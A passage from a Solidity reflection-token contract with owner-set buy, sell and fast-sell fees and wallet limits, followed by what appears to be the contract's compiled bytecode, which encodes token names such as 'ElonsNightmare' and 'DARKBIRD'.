function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
// USUAL TAXES CANNOT BE RAISED MORE THAN 15%
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
// FAST SELL TAXES CANNOT BE RAISED MORE THAN 20% and 4 hours
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
} | 0x60806040526004361061021e5760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e146107a4578063e0f9f6a0146107e1578063ea1644d51461080a578063f2fde38b14610833578063fe72c3c11461085c57610225565b806395d89b41146106c15780639ec350ed146106ec5780639f13157114610715578063a9059cbb1461073e578063c55284901461077b57610225565b80637d1db4a5116100f25780637d1db4a5146105ee578063881dce60146106195780638da5cb5b146106425780638f70ccf71461066d5780638f9a55c01461069657610225565b806370a0823114610546578063715018a61461058357806374010ece1461059a578063790ca413146105c357610225565b806333251a0b116101a65780634bf2c7c9116101755780634bf2c7c9146104895780635d098b38146104b25780636b9cf534146104db5780636d8aa8f8146105065780636fc3eaec1461052f57610225565b806333251a0b146103e357806338eea22d1461040c5780633e3e95981461043557806349bd5a5e1461045e57610225565b806318160ddd116101ed57806318160ddd146102fa57806323b872dd1461032557806327c8f835146103625780632fd689e31461038d578063313ce567146103b857610225565b806306fdde031461022a578063095ea7b3146102555780630f3a325f146102925780631694505e146102cf57610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610887565b60405161024c9190613bff565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190613769565b6108c4565b6040516102899190613bc9565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b4919061367c565b6108e2565b6040516102c69190613bc9565b60405180910390f35b3480156102db57600080fd5b506102e4610938565b6040516102f19190613be4565b60405180910390f35b34801561030657600080fd5b5061030f61095e565b60405161031c9190613e41565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190613716565b61096f565b6040516103599190613bc9565b60405180910390f35b34801561036e57600080fd5b50610377610a48565b6040516103849190613bae565b60405180910390f35b34801561039957600080fd5b506103a2610a4e565b6040516103af9190613e41565b60405180910390f35b3480156103c457600080fd5b506103cd610a54565b6040516103da9190613eb6565b60405180910390f35b3480156103ef57600080fd5b5061040a6004803603810190610405919061367c565b610a5d565b005b34801561041857600080fd5b50610433600480360381019061042e9190613803565b610ba0565b005b34801561044157600080fd5b5061045c6004803603810190610457919061367c565b610c7d565b005b34801561046a57600080fd5b50610473610d6d565b6040516104809190613bae565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab91906137d6565b610d93565b005b3480156104be57600080fd5b506104d960048036038101906104d4919061367c565b610e4d565b005b3480156104e757600080fd5b506104f0610f6c565b6040516104fd9190613e41565b60405180910390f35b34801561051257600080fd5b5061052d600480360381019061052891906137a9565b610f72565b005b34801561053b57600080fd5b50610544611024565b005b34801561055257600080fd5b5061056d6004803603810190610568919061367c565b611096565b60405161057a9190613e41565b60405180910390f35b34801561058f57600080fd5b506105986110e7565b005b3480156105a657600080fd5b506105c160048036038101906105bc91906137d6565b61123a565b005b3480156105cf57600080fd5b506105d8611324565b6040516105e59190613e41565b60405180910390f35b3480156105fa57600080fd5b5061060361132a565b6040516106109190613e41565b60405180910390f35b34801561062557600080fd5b50610640600480360381019061063b91906137d6565b611330565b005b34801561064e57600080fd5b506106576113f4565b6040516106649190613bae565b60405180910390f35b34801561067957600080fd5b50610694600480360381019061068f91906137a9565b61141d565b005b3480156106a257600080fd5b506106ab6114d6565b6040516106b89190613e41565b60405180910390f35b3480156106cd57600080fd5b506106d66114dc565b6040516106e39190613bff565b60405180910390f35b3480156106f857600080fd5b50610713600480360381019061070e9190613803565b611519565b005b34801561072157600080fd5b5061073c600480360381019061073791906137a9565b6115f6565b005b34801561074a57600080fd5b5061076560048036038101906107609190613769565b6116a8565b6040516107729190613bc9565b60405180910390f35b34801561078757600080fd5b506107a2600480360381019061079d9190613803565b6116c6565b005b3480156107b057600080fd5b506107cb60048036038101906107c691906136d6565b6117a3565b6040516107d89190613e41565b60405180910390f35b3480156107ed57600080fd5b50610808600480360381019061080391906137d6565b61182a565b005b34801561081657600080fd5b50610831600480360381019061082c91906137d6565b6118f1565b005b34801561083f57600080fd5b5061085a6004803603810190610855919061367c565b61199f565b005b34801561086857600080fd5b50610871611b61565b60405161087e9190613e41565b60405180910390f35b60606040518060400160405280600e81526020017f456c6f6e734e696768746d617265000000000000000000000000000000000000815250905090565b60006108d86108d1611b67565b8484611b6f565b6001905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b600061097c848484611d3a565b610a3d84610988611b67565b610a388560405180606001604052806028815260200161465860289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109ee611b67565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b009092919063ffffffff16565b611b6f565b600190509392505050565b61dead81565b601d5481565b60006009905090565b610a65611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae990613d61565b60405180910390fd5b600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b9d576000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b610ba8611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2c90613d61565b60405180910390fd5b60008210158015610c47575060018211155b610c5057600080fd5b60008110158015610c62575060018111155b610c6b57600080fd5b81600d8190555080600f819055505050565b610c85611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990613d61565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d9b611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1f90613d61565b60405180910390fd5b60008110158015610e3a575060018111155b610e4357600080fd5b8060138190555050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e8e611b67565b73ffffffffffffffffffffffffffffffffffffffff1614610eae57600080fd5b80601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601e5481565b610f7a611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe90613d61565b60405180910390fd5b80601a60166101000a81548160ff02191690831515021790555050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611065611b67565b73ffffffffffffffffffffffffffffffffffffffff161461108557600080fd5b600047905061109381612b64565b50565b60006110e0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bd0565b9050919050565b6110ef611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461117c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117390613d61565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611242611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613d61565b60405180910390fd5b674563918244f4000081101561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190613d21565b60405180910390fd5b80601b8190555050565b600a5481565b601b5481565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611371611b67565b73ffffffffffffffffffffffffffffffffffffffff161461139157600080fd5b61139a30611096565b81111580156113a95750600081115b6113e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113df90613e21565b60405180910390fd5b6113f181612c3e565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611425611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a990613d61565b60405180910390fd5b80601a60146101000a81548160ff02191690831515021790555042600a8190555050565b601c5481565b60606040518060400160405280600881526020017f4441524b42495244000000000000000000000000000000000000000000000000815250905090565b611521611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a590613d61565b60405180910390fd5b600082101580156115c0575060018211155b6115c957600080fd5b600081101580156115db575060138111155b6115e457600080fd5b81600b8190555080600c819055505050565b6115fe611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461168b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168290613d61565b60405180910390fd5b80601a60176101000a81548160ff02191690831515021790555050565b60006116bc6116b5611b67565b8484611d3a565b6001905092915050565b6116ce611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461175b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175290613d61565b60405180910390fd5b6000821015801561176d5750600d8211155b61177657600080fd5b600081101580156117885750600d8111155b61179157600080fd5b81600e81905550806010819055505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611832611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b690613d61565b60405180910390fd5b600081101580156118d1575060048111155b6118da57600080fd5b610e10816118e89190613fad565b60188190555050565b6118f9611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611986576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197d90613d61565b60405180910390fd5b601c5481101561199557600080fd5b80601c8190555050565b6119a7611b67565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2b90613d61565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9b90613ca1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60185481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd690613e01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4690613cc1565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d2d9190613e41565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da190613da1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1190613c21565b60405180910390fd5b60008111611e5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5490613d81565b60405180910390fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611eea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee190613de1565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6e90613de1565b60405180910390fd5b60096000611f83611b67565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561200b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200290613de1565b60405180910390fd5b6120136113f4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561208157506120516113f4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561269f57601a60149054906101000a900460ff166120d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120cc90613c41565b60405180910390fd5b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156121805750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156122ed573073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156121ed57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156122475750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122a15750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156122ec57601b548111156122eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e290613c81565b60405180910390fd5b5b5b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156123995750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123d157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561240b575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156124da57601c548161241d84611096565b6124279190613f26565b10612467576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245e90613dc1565b60405180910390fd5b601a60179054906101000a900460ff16156124d9576104b0600a5461248c9190613f26565b42116124d857601e548111156124d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ce90613ce1565b60405180910390fd5b5b5b5b60006124e530611096565b90506000601d548211905080801561250a5750601a60159054906101000a900460ff16155b80156125645750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561257c5750601a60169054906101000a900460ff165b80156125d25750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156126285750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561269c57600080601354111561266d57612661606461265360135486612ec690919063ffffffff16565b612f4190919063ffffffff16565b905061266c81612f8b565b5b612681818461267c9190614007565b612c3e565b600047905060008111156126995761269847612b64565b5b50505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806127465750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806127f95750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156127f85750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156128075760009050612aee565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156128b25750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156129715742600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54601181905550600e54601281905550600a54421415612970576001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612a1c5750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612aed576000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414158015612abd575042601854600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aba9190613f26565b10155b15612ad957600b54601181905550600c54601281905550612aec565b600f546011819055506010546012819055505b5b5b612afa84848484612f9b565b50505050565b6000838311158290612b48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3f9190613bff565b60405180910390fd5b5060008385612b579190614007565b9050809150509392505050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612bcc573d6000803e3d6000fd5b5050565b6000600754821115612c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0e90613c61565b60405180910390fd5b6000612c21612fc8565b9050612c368184612f4190919063ffffffff16565b915050919050565b6001601a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612c7657612c75614198565b5b604051908082528060200260200182016040528015612ca45781602001602082028036833780820191505090505b5090503081600081518110612cbc57612cbb614169565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612d5e57600080fd5b505afa158015612d72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d9691906136a9565b81600181518110612daa57612da9614169565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612e1130601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b6f565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612e75959493929190613e5c565b600060405180830381600087803b158015612e8f57600080fd5b505af1158015612ea3573d6000803e3d6000fd5b50505050506000601a60156101000a81548160ff02191690831515021790555050565b600080831415612ed95760009050612f3b565b60008284612ee79190613fad565b9050828482612ef69190613f7c565b14612f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2d90613d41565b60405180910390fd5b809150505b92915050565b6000612f8383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ff3565b905092915050565b612f983061dead83611d3a565b50565b80612fa957612fa8613056565b5b612fb48484846130b8565b80612fc257612fc1613283565b5b50505050565b6000806000612fd56132a0565b91509150612fec8183612f4190919063ffffffff16565b9250505090565b6000808311829061303a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130319190613bff565b60405180910390fd5b50600083856130499190613f7c565b9050809150509392505050565b600060115414801561306a57506000601254145b801561307857506000601354145b15613082576130b6565b6011546014819055506012546015819055506013546016819055506000601181905550600060128190555060006013819055505b565b6000806000806000806130ca87613302565b95509550955095509550955061312886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461336a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131bd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133b490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061320981613412565b61321384836134cf565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516132709190613e41565b60405180910390a3505050505050505050565b601454601181905550601554601281905550601654601381905550565b600080600060075490506000683635c9adc5dea0000090506132d6683635c9adc5dea00000600754612f4190919063ffffffff16565b8210156132f557600754683635c9adc5dea000009350935050506132fe565b81819350935050505b9091565b600080600080600080600080600061331f8a601154601254613509565b925092509250600061332f612fc8565b905060008060006133428e87878761359f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006133ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b00565b905092915050565b60008082846133c39190613f26565b905083811015613408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133ff90613d01565b60405180910390fd5b8091505092915050565b600061341c612fc8565b905060006134338284612ec690919063ffffffff16565b905061348781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133b490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6134e48260075461336a90919063ffffffff16565b6007819055506134ff816008546133b490919063ffffffff16565b6008819055505050565b6000806000806135356064613527888a612ec690919063ffffffff16565b612f4190919063ffffffff16565b9050600061355f6064613551888b612ec690919063ffffffff16565b612f4190919063ffffffff16565b905060006135888261357a858c61336a90919063ffffffff16565b61336a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806135b88589612ec690919063ffffffff16565b905060006135cf8689612ec690919063ffffffff16565b905060006135e68789612ec690919063ffffffff16565b9050600061360f82613601858761336a90919063ffffffff16565b61336a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061363781614612565b92915050565b60008151905061364c81614612565b92915050565b60008135905061366181614629565b92915050565b60008135905061367681614640565b92915050565b600060208284031215613692576136916141c7565b5b60006136a084828501613628565b91505092915050565b6000602082840312156136bf576136be6141c7565b5b60006136cd8482850161363d565b91505092915050565b600080604083850312156136ed576136ec6141c7565b5b60006136fb85828601613628565b925050602061370c85828601613628565b9150509250929050565b60008060006060848603121561372f5761372e6141c7565b5b600061373d86828701613628565b935050602061374e86828701613628565b925050604061375f86828701613667565b9150509250925092565b600080604083850312156137805761377f6141c7565b5b600061378e85828601613628565b925050602061379f85828601613667565b9150509250929050565b6000602082840312156137bf576137be6141c7565b5b60006137cd84828501613652565b91505092915050565b6000602082840312156137ec576137eb6141c7565b5b60006137fa84828501613667565b91505092915050565b6000806040838503121561381a576138196141c7565b5b600061382885828601613667565b925050602061383985828601613667565b9150509250929050565b600061384f838361385b565b60208301905092915050565b6138648161403b565b82525050565b6138738161403b565b82525050565b600061388482613ee1565b61388e8185613f04565b935061389983613ed1565b8060005b838110156138ca5781516138b18882613843565b97506138bc83613ef7565b92505060018101905061389d565b5085935050505092915050565b6138e08161404d565b82525050565b6138ef81614090565b82525050565b6138fe816140a2565b82525050565b600061390f82613eec565b6139198185613f15565b93506139298185602086016140d8565b613932816141cc565b840191505092915050565b600061394a602383613f15565b9150613955826141dd565b604082019050919050565b600061396d601883613f15565b91506139788261422c565b602082019050919050565b60006